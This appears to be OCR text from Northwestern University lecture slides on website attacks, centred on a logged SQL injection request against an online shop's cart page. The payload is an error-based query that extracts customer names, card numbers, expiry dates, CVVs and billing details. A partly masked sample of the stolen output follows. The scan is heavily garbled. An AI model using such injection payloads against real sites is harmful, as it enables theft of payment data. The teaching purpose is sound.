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NORTHWESTERN : :
UNIVERSITY Our Security Problem Is Website Attacks

* Firewall are common in every network deployment, so attackers use
websites to get access to internal network
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NORTHWESTERN

UNIVERSITY SQL Injection Web Attack Example

Z008-10-05 18:14-56 58.187.232.41 GET /shop/stores app/cart action.asp
delete from -:ar"..a—.'leE,’:i_ or l=gonvert (int, (select top 1
convert (varchar, isnull (convert(varchar, Store PLI::]:.':EEE-[!E:-  NULL'"}}."/".copwerk(varchar , ismll (c

nr::ert[var:har,E—..:-re_:—":.:“_":EEEE-EIillFirstnamE'_ "WOLL")}) " /" -Egm'arc]:r,_:r__._... (comrert (varchar
. St-:-re_RJr-:haEEE-EiJ_:asﬂwTamE' 'NULL ")) . /" . conert _'.—_:-:I:'.ar ismall (convert(varchar, balance. cardnu
mber) , "NULL'})."/".conwert (varchar, 15:111..11 H:"*:r rert (varchar,Store Purchases .CardExpiration), "NULL']
- .genvRE L (varchar, izrmull (con rert (varchar, Store Purchases.cvw), "NULL"} }." /" .gomyert [varchar, is
null (convert (varchar,Store Purchases.BillAddressl), "NULL')) ."/'.gonvert (varchar, isnull (convertiva
rchar,Store_ Purchases.SillAddresss), 'NULL')) ."/".converxt (varchar  isnull (convert (varchar, Store Mur
chases.BillCicyl, "NULL") ). /" .ganvert(varchar, isnull (convert (varchar, Store Purchases. Eil.'LE.'i.p 'NU
LL*)) ." /" .cenuess (varchar, isnull (convert (varchar, Scorse_Purchasas. BillCountry), "NULL')) ./ . GRnves
tlvarchar, ismull (convert (varchar, Store_Purchases.BillPhone) , "NULL')). "/ " .conweEs(varchar,ismall(c
onvert(varchar, Store Purchases.BillEmail) , "NULL") ). "/ .convert (varchar, isnull (convert (varchar, 8to
re Purchases .BillRegion), "NULL"))."/'.gonyvers(varchar, ismull (convert (varchar balance.amount), "NUL
L")) from Store Purchases, bala.n-:e where

S ——

-:-tnre Purchases_ OID=balance.oid) and (Store Purchases 0ID<5338313) order by Store Purchases.0ID

desc) )--sp password 500

Output from the Query
998294 /david/lxxx/ 4494353192226 7xx/05/10/106/1 southern xXxxx tralil//ormond
sach/32174/United States/306-XXX-53511 '15.'.5.::'_._:.-;-3 wtmall.com/FL/49.64

Note: Account Numbers masked to protect customer ia:iengiq.r



